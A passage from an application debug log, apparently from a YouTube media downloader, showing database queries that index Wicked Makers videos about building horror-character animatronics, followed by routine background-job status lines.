https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "81ed445e-3025-45b9-89c6-a21902503ac6", "nnGeD3NoThc", false, "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, [], 1010, false, 12, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, false, 98, ~U[2025-01-29 21:00:33Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Head to https://squarespace.com/wickedmakers to save 10% off your first purchase of a website or domain using code WICKEDMAKERS. Jay and Jaimie build a Poppy Playtime Escape Room to trap their friends Evan and Katelyn! Will they make it out??\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nSupport Our Videos: ► https://patreon.com/wickedmakers\n\nGet Poppy Playtime Chapter 4: ►https://huggywug.co/4hADvwL\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nSpecial thanks to @EvanAndKatelyn!\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nLast year we built a life-sized DogDay animatronic from Poppy Playtime. It was amazing and HUGE, but we had one problem - what do we do with it? He sat in a dark storage facility for a while (probably hiding from CatNap) until we heard that Poppy Playtime Chapter 4 was coming out and we got inspired. We wanted to make an interactive experience, like you were playing the game in real life, so we built a POPPY PLAYTIME Escape Room! Since Poppy Playtime has so many awesome puzzles, we decided an Escape Room would be perfect!\n\nWe built the rest of DogDay’s jail cell, filled it with puzzles, traps, and a few surprises, and invited our friends Evan and Katelyn to be our prisoners. With only 20 minutes, and DogDay to guide them, will they escape before time runs out? Let the games begin!\n\nWe had a ton of fun building our DogDay escape room. It was a great way to give a custom Halloween animatronic a life of its own. Let us know what you want us to build next!\n\nStay Wicked!\n❤️ Jaimie & Jay\n\n#DogDay\n#PoppyPlaytime\n#EscapeRoom", "Surviving Poppy Playtime In Real Life!", "nnGeD3NoThc", "https://www.youtube.com/watch?v=nnGeD3NoThc", 35, 1010, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e012900 - Surviving Poppy Playtime In Real Life!.mp4", false, ~U[2025-01-29 21:00:33Z]] 13:42:12.145 [debug] QUERY OK source="sources" db=0.3ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.146 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-01-10 22:38:55Z], 35] 13:42:12.147 [debug] QUERY OK source="media_items" db=0.9ms idle=3.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "101d1bba-96b4-4405-9894-dcb6d6732253", "o6AiiIuTuQU", false, "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, [], 1321, false, 13, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, false, 98, ~U[2025-01-10 22:38:55Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make a real Shin Sonic animatronic from the The Sonic Tapes!\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nDISCORD ► https://discord.gg/wickedmakers\n\nShin Sonic is a twisted, evil version of Sonic the Hedgehog created by Evanimas (https://www.youtube.com/@Evanimas2) for his analogue horror series “The Sonic Tapes”. As huge Sonic and horror fans, we knew we had to bring this cursed character to life.\n\nWe started with a Mickey Mouse Christmas animatronic, but his proportions were way off for Shin Sonic’s unnaturally long limbs. So, we took him apart and welded on custom extensions for his arms and legs. Next, we 3D modeled his head, complete with a massive, tooth-filled mouth featuring double rows of jagged teeth. After a week of 3D printing and painting, his head alone looked like something straight out of a nightmare (and weighed over 13 lbs!)\n\nTo shape his body, we used foam, pool noodles, and duct tape. Everything was then covered in Sonic’s iconic blue fur. Building this guy was a ton of work, but the end result is even more cursed and creepy than we imagined—and we absolutely love it.\n\nWe’re so excited to add Shin Sonic to our little family of DIY horror animatronics alongside Huggy Wuggy and Springtrap. What do you think of our real-life Shin Sonic? And who should we build next? Let us know in the comments and until next time.. Stay wicked! \n\n#ShinSonic \n#Animatronic\n#Sonic", "We made Shin Sonic real! (Animatronic)", "o6AiiIuTuQU", "https://www.youtube.com/watch?v=o6AiiIuTuQU", 35, 1321, false, "/downloads/shows/Wicked Makers/Season 2025/s2025e011000 - We made Shin Sonic real! (Animatronic).mp4", false, ~U[2025-01-10 22:38:55Z]] 13:42:12.147 [debug] QUERY OK source="sources" db=0.1ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [35] 13:42:12.148 [debug] QUERY OK source="media_items" db=0.3ms idle=2.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-27 20:56:17Z], 35] 13:42:12.150 [debug] QUERY OK source="media_items" db=1.2ms idle=2.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Jaimie and Jay make a real Bill Cipher animatronic from Gravity Falls! 😱\nThe first 500 people to click our link will get a 1 MONTH FREE TRIAL of Skillshare! ► https://skl.sh/wickedmakers11241\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nGet Bill's Eye Mech (and more): ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nCheck out BOTTANGO (FREE) ► https://bottango.com\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWHO IS BILL CIPHER!!!!???!?!\nBill Cipher is an ancient nightmare triangle demon and the main villain of Disney’s Gravity Falls. Created by Alex Hirsch, Bill is a demon of pure chaos, and we love him.\n\nTo start, we carved Bill’s body out of XPS foam. We welded together his base and frame to give us a secure mount for all of the servos and electronics. His eye and eyelid were 3D printed. Everything was given a coat of DryLok to give it a stone texture and then painted. We put on the finishing touches like his hat & bowtie, added in some speakers, and then Jay did his best Bill impersonation for his voice lines. We then programmed his animation with the help of Bottango and brought him to life.\n\nWe are so happy with how Bill Cipher turned out! He looks around, floats, blinks, and even insults you. If you want to see more of our DIY animatronic horror characters, check out our Ink Demon from Bendy and Foxy from FNAF! And let us know who you want to see us build next!\n\nRemember! Reality's an illusion, the universe is a hologram, buy gold, and stay Wicked! Byeeee!\n\n#BillCipher #GravityFalls #Animatronic", "We made a real BILL CIPHER Animatronic! (GRAVITY FALLS)", "f92abf0d-6566-4c52-a990-7f6523448fd6", "_v1hKipENZ0", false, "https://www.youtube.com/watch?v=_v1hKipENZ0", 35, [], 1108, false, 14, "/downloads/shows/Wicked Makers/Season 2024/s2024e112700 - We made a real BILL CIPHER Animatronic! (GRAVITY FALLS).mp4", false, false, 98, ~U[2024-11-27 20:56:17Z], ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], "Jaimie and Jay make a real Bill Cipher animatronic from Gravity Falls! 😱\nThe first 500 people to click our link will get a 1 MONTH FREE TRIAL of Skillshare! ► https://skl.sh/wickedmakers11241\n\nSUBSCRIBE ► http://bit.ly/2EypcHI\n\nGet Bill's Eye Mech (and more): ► https://patreon.com/wickedmakers\n\nJoin our Community on Discord & Facebook ►\nhttps://discord.gg/wickedmakers\nhttps://www.facebook.com/groups/439135431429446\n\nCheck out BOTTANGO (FREE) ► https://bottango.com\n\nMATERIALS/STUFF WE USED ► \nBook of Bill - https://amzn.to/4eOHl3M\nOur Favorite 3D Printer ► https://shrsl.com/4a3kf\nEVA Foam - https://amzn.to/4995bG0\nRope Light - https://amzn.to/3V6x3Vl\n3D Print Coating Resin - https://amzn.to/3B2MsPM\nAcrylic Paints - https://amzn.to/3ZoarT1\nSpackle - https://amzn.to/3ZqZQqw\nGorilla Glue - https://amzn.to/411Sk6A\nMicro Servos - https://amzn.to/4i5O6Rv\nSpeakers - https://amzn.to/3ZoNLlC\nXPS Foam - (Hardware Store)\nDrylok - (Hardware Store)\nMetal - (Hardware Store)\n\nOUR CAMERA/FILMING GEAR ►\nOur Main Camera: https://amzn.to/3PEaILC\nSecondary Camera: https://amzn.to/46jDrfF (or iPhone)\nMicrophones: https://amzn.to/3rBM5XO\nMost Used Lens: https://amzn.to/3LMWhng\nMain Tripod: https://amzn.to/46q8WV4\nLight #1: https://amzn.to/3Q0lVX5\nLight #2 (cheaper): https://amzn.to/3PJzBp0\nC-Stands: https://amzn.to/3LMamB8\nColored Lights (mounted): https://amzn.to/3PEKfgS\nColored Lights (handheld): https://amzn.to/3F1fJc3\nSoftbox: https://amzn.to/46zLTal\nSoftbox Lantern: https://amzn.to/46wtJ9x\nGimbal: https://amzn.to/3ZHgNv5\nCamera Bag (for travel): https://amzn.to/46cHdY1\n\nWHO IS BILL CIPHER!!!!???!?!\nBill Cipher is an ancient nightmare triangle demon and the main villain of Disney’s Gravity Falls. Created by Alex Hirsch, Bill is a demon of pure chaos, and we love him.\n\nTo start, we carved Bill’s body out of XPS foam. We welded together his base and frame to give us a secure mount for all of the servos and electronics. His eye and eyelid were 3D printed. Everything was given a coat of DryLok to give it a stone texture and then painted. We put on the finishing touches like his hat & bowtie, added in some speakers, and then Jay did his best Bill impersonation for his voice lines. We then programmed his animation with the help of Bottango and brought him to life.\n\nWe are so happy with how Bill Cipher turned out! He looks around, floats, blinks, and even insults you. If you want to see more of our DIY animatronic horror characters, check out our Ink Demon from Bendy and Foxy from FNAF! And let us know who you want to see us build next!\n\nRemember! Reality's an illusion, the universe is a hologram, buy gold, and stay Wicked! Byeeee!\n\n#BillCipher #GravityFalls #Animatronic", "We made a real BILL CIPHER Animatronic! (GRAVITY FALLS)", "_v1hKipENZ0", "https://www.youtube.com/watch?v=_v1hKipENZ0", 35, 1108, false, "/downloads/shows/Wicked Makers/Season 2024/s2024e112700 - We made a real BILL CIPHER Animatronic! (GRAVITY FALLS).mp4", false, ~U[2024-11-27 20:56:17Z]] 13:42:12.150 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms UPDATE "sources" SET "last_indexed_at" = ?, "updated_at" = ? WHERE "id" = ? [~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z], 35] 13:42:12.151 [debug] QUERY OK source="media_items" db=0.4ms idle=3.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 13:42:12.151 [debug] QUERY OK source="media_items" db=0.4ms idle=3.4ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [35] 13:42:12.152 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [35] 13:42:12.152 [debug] QUERY OK source="tasks" db=0.1ms idle=1.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [7261, 35, ~U[2026-06-02 17:42:12Z], ~U[2026-06-02 17:42:12Z]] 13:42:12.153 [info] {"args":{"id":35},"id":7244,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":33617921,"event":"job:stop","queue_time":839997,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 13:42:23.708 [info] {"source":"oban","duration":566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:53.709 [info] {"source":"oban","duration":582,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.490 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:23.710 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:53.711 [info] {"source":"oban","duration":537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.492 [info] {"source":"oban","duration":436,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:23.712 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:53.713 [info] {"source":"oban","duration":477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.493 [info] {"source":"oban","duration":406,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:23.714 [info] {"source":"oban","duration":544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:53.715 [info] {"source":"oban","duration":545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.495 [info] {"source":"oban","duration":364,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:23.716 [info] {"source":"oban","duration":561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:53.717 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.496 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:23.718 [info] {"source":"oban","duration":535,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:53.719 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.498 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:23.720 [info] {"source":"oban","duration":603,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:53.721 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.500 [info] {"source":"oban","duration":409,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:23.722 [info] {"source":"oban","duration":631,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:53.723 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.502 [info] {"source":"oban","duration":402,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:23.723 [info] {"source":"oban","duration":524,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:53.725 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.504 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:23.726 [info] {"source":"oban","duration":604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:53.727 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.505 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:23.728 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:53.729 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.506 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:23.729 [info] {"source":"oban","duration":534,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:53.731 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.508 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:23.732 [info] {"source":"oban","duration":725,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:53.733 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.510 [info] {"source":"oban","duration":429,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:23.735 [info] {"source":"oban","duration":659,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:53.736 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.511 [info] {"source":"oban","duration":316,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:23.738 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:53.739 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.513 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:23.740 [info] {"source":"oban","duration":872,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:53.742 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.514 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:23.743 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:53.745 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.516 [info] {"source":"oban","duration":449,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:23.746 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:53.747 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.518 [info] {"source":"oban","duration":420,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:23.748 [info] {"source":"oban","duration":863,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:53.751 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.519 [info] {"source":"oban","duration":156,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:23.753 [info] {"source":"oban","duration":937,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:53.755 [info] {"source":"oban","duration":621,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.520 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:23.756 [info] {"source":"oban","duration":740,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:53.757 [info] {"source":"oban","duration":1023,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.522 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:23.759 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:53.761 [info] {"source":"oban","duration":1224,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.524 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:23.763 [info] {"source":"oban","duration":785,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:53.765 [info] {"source":"oban","duration":948,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.526 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:23.768 [info] {"source":"oban","duration":1561,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:53.770 [info] {"source":"oban","duration":926,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.526 